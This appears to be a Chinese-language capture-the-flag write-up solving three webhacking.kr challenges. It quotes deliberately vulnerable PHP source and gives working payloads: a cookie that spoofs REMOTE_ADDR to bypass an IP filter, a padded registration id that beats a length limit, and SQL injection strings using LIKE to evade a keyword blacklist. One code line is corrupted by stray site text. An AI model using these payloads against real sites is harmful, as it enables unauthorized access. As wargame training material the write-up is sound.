water

webchacking.kr 第5题

打开题目发现了两个按钮，分别是Login和join

打开Login发现url是http://webhacking.kr/challenge/web/web-05/mem/login.php的我们把login.php删掉发现了一个index of的目录，里面有一个join的php文件

打开发现黑的没有边际，右键源代码发现了猫腻，这里我把js代码翻译了下，后来发现其实直接f12编译下就ok了 2333333

documnent.cookie
if(eval(document.cookie)==-1)
{
    bye;
}
else(eval(document.URL).indexOf(mode=1))==-1
{
    alert('access_denied');history.go(-1);
}
else{
	document.write('<font size=2 color=white>Join</font><p>');
	document.write('.<p>.<p>.<p>.<p>.<p>');
	document.write('<form method=post action='NaNoin.php>');
	document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name='id' maxlength=5></td></tr>');
	document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name='NaNw' maxlength=10></td></tr>');
	document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');
}

把第三个else中代码进行执行就得到一个登陆框

做到这里心里有点小激动，然后噫~~~~ 好像限制了字符长度，没想到真是

用burp进行抓包，加点空格突破他的5的长度限制

发现注册成功

返回开头的Login按钮那，登录过关

webchacking.kr 第24题

打开题目发现是一个关于ip的题，照常右键查看源代码发现index.phps

<?

extract($_SERVER);
extract($_COOKIE);

if(!$REMOTE_ADDR) $REMOTE_ADDR=$_SERVER[REMOTE_ADDR];

$ip=$REMOTE_ADDR;
$agent=$HTTP_USER_AGENT;


if($_COOKIE[REMOTE_ADDR])
{
$ip=str_re 大专栏  waterplace("12","",$ip);
$ip=str_replace("7.","",$ip);
$ip=str_replace("0.","",$ip);
}

echo("<table border=1><tr><td>client ip</td><td>$ip</td></tr><tr><td>agent</td><td>$agent</td></tr></table>");

if($ip=="127.0.0.1")
{
@solve();
}

else
{
echo("<p><hr><center>Wrong IP!</center><hr>");
}
?>

看着有点长，其实很简单就是让ip等于127.0.0.1就可以了

直接。。。。坑试了很多127.0.0.1发现不行，原来有过滤233333

一条js代码搞定

1	document.cookie ="REMOTE_ADDR = 112277..00..00..1;";

webchacking.kr 第27题

打开题目右键发现index.phps

<?
if($_GET[no])
{

if(eregi("#|union|from|challenge|select|(|t|/|limit|=|0x",$_GET[no])) exit("no hack");

$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");

if($q[id]=="guest") echo("guest");
if($q[id]=="admin") @solve();

}

?>

从源码可以看出我们需要让id=admin才能过关，但是id这个没找到，但是有一个q变量，所以我们想办法把id给他变成admin就可以了

分析源码得到它过滤了一些常用的字段，比如说“ = ” 这个常用的东东这里可以使用like进行替代

1	$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error")id='guest' and no=($_GET[no])")) or die("query error");

这里我们必须select id from challenge27_table where id=’guest’ and no= 返回错误，否则就无法获得admin这个字段了，因为他id已经等于guest

尝试payload

-1) or no like 0 – 这个–后边有一个空格

它返回了查询错误，接着试

-1) or no like 1 –

发现返回了guest，说明构造的sql语句执行了，guest的id=1 那么admin的id可能为2嘛

继续试

-1) or no like 2 –

成功了（这个是我做过一遍，所以会是这样的）